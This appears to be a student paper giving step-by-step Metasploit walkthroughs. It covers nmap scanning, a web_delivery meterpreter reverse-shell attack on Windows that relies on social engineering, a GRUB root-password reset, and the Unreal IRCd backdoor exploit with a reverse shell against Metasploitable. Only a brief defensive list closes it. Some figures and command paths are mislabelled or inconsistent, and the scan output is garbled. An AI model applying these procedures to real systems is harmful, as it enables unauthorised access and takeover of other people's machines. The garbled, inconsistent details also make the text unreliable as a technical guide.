A Novel Approach for System Hacking in Windows 
And Linux System

Mayank Prajapati  
Student, CSE Department, 
G L Bajaj Group of Institutions, 
Mathura

Vipul Narayan  
Assistant Prof., CSE Department, 
G L Bajaj Group of Institutions, 
Mathura

Shashank Awasthi  
Associate Prof, CSE Department, 
G.L.Bajaj Institute of Technology & Management, Greater Noida

ABSTRACT
System hacking is a term used in ethical hacking for the purpose of testing the security level of different operating systems whether it is windows, Linux, XP, system installed in the ATM’s etc. In system hacking we will understand what are the common vulnerabilities that an operating system has and what are the ways in which we can protect our operating system from going into the bad hands. Because operating system provides an interface between user and hardware, therefore we cannot interact with our system without the support of the Operating System. It will become a crucial thing to protect ourselves from the attacks that can be performed on our machine by taking the advantage of the operating system vulnerability. From this paper we will get to know how an evil hacker can enter in our system and also what are the ways to protect our system from these types of attacks.

Keywords: System hacking, map, metasploit, metasploitable.

1. INTRODUCTION
Nowadays, large number of operating system available in the market today. Most commonly used operating system given below:

- Windows e.g. XP, Window7, Window8, Window10
- Linux
- UNIX
- 4.Mac OS etc.
- DOS

Table 1: A comparison chart between these OS is given below

<table>
<thead>
<tr>
<th>Comparison basis</th>
<th>Windows</th>
<th>Linux</th>
<th>MAC</th>
</tr>
</thead>
<tbody>
<tr>
<td>Cost</td>
<td>Windows software is expensive but less than MAC.</td>
<td>Linux software is totally free.</td>
<td>MAC software are only created for Apple devices and they are most expensive.</td>
</tr>
<tr>
<td>Nature</td>
<td>Not Open source</td>
<td>Open source</td>
<td>Not open source</td>
</tr>
</tbody>
</table>

Generally people prefer that operating system which is user friendly. In all the above Systems, Windows are the most commonly used System across the world. System hacking generally involves the following points in case if we are connected to a network and we are going to hack that system. We will use metasploit framework for doing all these stuffs[1][2][3].
- We have to choose an exploit
- Then after choosing exploit set the exploit available options
- Pick the payload
- Setting payload options
- Running the exploit
- Connecting to the remote system
- Perform Post Exploitation process

2. DIFFERENT METHODOLOGIES FOR HACKING SYSTEM

Note: In all the attacks I am using only my network and VM ware station for multiple Operating demonstration.

2.1 OS Foot Printing in the Same Network
OS foot printing means we are going to detect which operating system is running on the victim’s machine. If we want to know which OS running on the victim’s machine then we should have to be in the same network as the victim is.

The steps are as follows:
Step 1: You have to scan your whole network for knowing who is connected to your wifi, for this you will need gateway then you can use nmap command to find out number of hosts connected in your network.
These Figures demonstrate the above statement.

**Figure 1: Knowing the Gateway**

```
root@kali:~# route -n
Kernel IP routing table
Destination   Gateway         Genmask Flags Metric Ref Use Iface
0.0.0.0       192.168.43.1   0.0.0.0    UG    600   0   8 wlan0
192.168.43.0  255.255.255.0  U    600   0   8 wlan0
```

**Figure 2: Scanning of whole network**

```
root@kali:~# nmap 192.168.43.1/24
Starting Nmap 7.40 (https://nmap.org) at 2018-05-31 17:36 IST
Nmap scan report for 192.168.43.1
Host is up (0.014s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE
80/tcp    open  http
Port Range: 1-1024
PORT     STATE SERVICE
Open ports summary (filtered ports):
PORT     STATE SERVICE
80/tcp    OPEN  http
```

**Step 2:** Identify the IP address of the target and then enter this command in your Linux terminal.

```
nmap -sS -A IP_VICTIM
```

**Figure 3: OS Footprinting command**

```
root@kali:~# msfconsole
# cowsay+-

( oo )
| (  ) |
\-\-\-\-
```

**Figure 4: Starting of Metasploit Framework**

```
[= metasploit v4.14.25-dev ]
+ - - - u 1659 exploits - 950 auxiliary - 293 post
+ - - - u 406 payloads - 40 encoders - 9 nops
+ - - - [ Free Metasploit Pro trial: http://r-7.co/trysmp ]

msf >
```

**Figure 5: Picking of exploit**

**2.2 Windows Hacking on Network**

We can gain access of the system in the different ways. One of the best ways is to gain the physical access of the system. This can only be possible if the trust of the victim has been gained. But we are not focussing on physical access right now. We will use metasploit framework for this attack, so the steps are same as described earlier. I have installed Linux and Window7 Operating System in my VM Ware Machine. In the same way you can perform this attack on the hosts which are present in the same network as you are. The step by step guide for this purpose is shown below with the help of screenshots.

**Step 1:** Picking up of exploit

We have to write `msfconsole` in the Linux terminal to start metasploit framework.

```
[= metasploit v4.14.25-dev ]
+ - - - u 1659 exploits - 950 auxiliary - 293 post
+ - - - u 406 payloads - 40 encoders - 9 nops
+ - - - [ Free Metasploit Pro trial: http://r-7.co/trysmp ]

msf > use exploit/multi/script/web delivery
msf exploit(web delivery) >
```

```
``
Step 2: See the available options for the exploit that we have to set using the command “show options”.

Step 3: We have to set the LHOST which is our Linux machine IP address, for checking our machine IP open another terminal and type “ifconfig” to know IP address.

Now return back to previous terminal and set the value for the LHOST Option as shown below in the picture8 and using command “show targets” see the available target options.

Step 4: After setting up the target we have to set the payload. For setting the payload write the command in the terminal “set payload windows/meterpreter/reverse_tcp” and using “show options” command have a look on the available options again.

Step 5: After checking all the options that you have set, now it is final command that you have to enter in the metasploit terminal “exploit”.
Step 6: Now we have to move on the target machine physically or somehow using social engineering. We have to execute this copied text in the command prompt of the targeted machine. After executing this text in the terminal we will see this in our Linux machine.

Step 7: Now we have to select the session with the session id mentioned with the meterpreter session to reach to the targeted machine as shown in the picture and type “sysinfo” to gain the information about the system that you have hacked.

Well done. Your victim machine is now in your hands and you can do whatever you want with the help of commands. You can download, upload, delete or view any file in the victim’s computer.

2.3 Linux Login Password Cracking

Most of us listen many times this statement that “Linux is more secure than windows” and it cannot be hacked easily. Yes, it is true that most of the malicious code, scripts or viruses are written or made for the Windows Operating System, but we cannot say that Linux Operating System cannot be hacked. There are several ways present by which we can also compromise the Linux Operating System. One way for cracking the login password of Linux is provided below in simple and easy steps with figures [4][5][6][7].

1. Start Kali Linux and when start screen appears immediately press ‘e’ to reach into edit mode.
2. After pressing ‘e’ you will reach to a screen as given below.

![GRUB configuration screen](image1.png)

**Figure 15: Edit mode in Kali Linux OS**

3. Go to the line approximately 3rd from the last in which written something like this “ro initrd=/install/gtk/initrd.gz quiet”

![GRUB configuration screen](image2.png)

**Figure 16: Identifying the ro(Read only) Line**

4. Replace the above lines by “rw initrd=/install/gtk/initrd.gz init=/bin/bash”

![GRUB configuration screen](image3.png)

**Figure 17: Edited line shown in red box**


6. Type command as ‘passwd root’ and hit enter

7. Now type new password and re-enter it.

![Command line interface](image4.png)

**Figure 18: Updating password of Kali Linux OS**

8. Press ctrl+alt+del simultaneously and the system will again be started for you.

9. Now start as usual by using your new password.
### 2.4 Linux Hacking on network

For understanding the concept how can we hack or control Linux machine using other Linux machine we need a vulnerable distribution of Linux called Metasploitable. It is freely available on the internet and you can easily download it without any problem. This distribution has most of the vulnerabilities so that an ethical hacker or penetration tester can be able to test his/her abilities. So firstly you have to download the Metasploitable and you have to open it with your VM Ware workstation. In this practical we will use our Linux machine to penetrate into the Metasploitable using Metasploit Framework [5][6][7][8].

So we have to start our metasploit framework by typing `msfconsole`. The steps are as follows:

1. Firstly you have to scan your whole network in order to check which hosts or machines are connected to your network. How we do this, is already explained in the operating system footprint printing section.

2. We will take the advantage of vulnerability named “Unreal IRC” to penetrate into the Metasploitable system. First check your Linux IP address and also note down the Metasploitable machine ip address which you have got in the first step. Our Linux machine ip can be checked as follows in the picture.

3. Now open the metasploit framework in the Linux machine by typing “`msfconsole`” in the terminal and search for “Unreal 3.2.8.1”

4. We have to use the second number exploit as shown in the picture below (exploit/unix/irc/unreal_ircd_3281_backdoor).

5. Now we have to use this exploit and set all the required options for this exploit so that we will be able to enter in the victim’s machine (Metasploitable Machine). The command for use this exploit is “`use exploit/unix/unreal_ircd_3281_backdoor`”
Figure 22: Using of selected exploit

6. Now you have to set the RHOST option for this exploit. In RHOST, we have to set the ip address of the targeted or victim’s machine (Metasploitable Machine). After setting up the RHOST type “show options” in the terminal to check whether it is set correctly or not.

Figure 23: Setting of RHOST IP( Targeted machine ip)

7. After setting up the exploit’s RHOST option you have to use a payload which is suitable for targeted operating system. We will use unix/reverse payload in this case.

The command to set payload is "set payload cmd/unix/reverse"

Figure 24: Setting of payload

8. Now, we have to give the ip address of our local machine in the LHOST option of this payload which means a terminal window will be opened on this ip address system (our Linux machine) and we can execute any command on the targeted machine using this window. The command for setting up the LHOST is: set LHOST "LINUX_IP". After setting up the LHOST option you have to type “exploit” in the terminal and hit enter as shown below in the picture.

Figure 25: Final step (Penetrate to targeted system)

9. If everything is going fine then you will see the screen like this.
And finally you have entered in the targeted machine. Now you can execute any command, malicious script in the victim’s machine. Also we have gained root access which is the highest responsible user of Linux operating system. If you have gained root access of any Linux based system then you can do anything with that system. For checking whether you have gained root access of the system or not type “whoami” if in response root comes then it is awesome.

3. CONCLUSION

As you have seen above that we can enter in any system and can able to make changes in it without any permission of the authorized user, so following conclusions can be made.

1. No system is 100% secure. It depends upon the user of that system how he or she is using that system.
2. We should not trust on any open Wi-Fi network, there may be presence of sniffer also which can filter and analyse your packets which in result is most dangerous thing for your privacy.
3. We have to keep updating our system as soon as the updates available.
4. Firewall should always be in working state.
5. Good antivirus programs should be installed properly for securing purpose.
6. Don’t think that you are not using windows then you are secure, same thing can happen with other operating system also.
7. Don’t make extra unnecessarily users of your operating system.
8. Passwords should not be kept very simple e.g. name or date of birth.
9. IDS (Intrusion Detection System) can also help in catching the hacker who is spying on your network.
10. Don’t allow anyone to use your system in the hands of others in your absence.

REFERENCES

[2] Er. Sahil Baghla “EH1 infotech”
[7] Articles “thehackernews.com”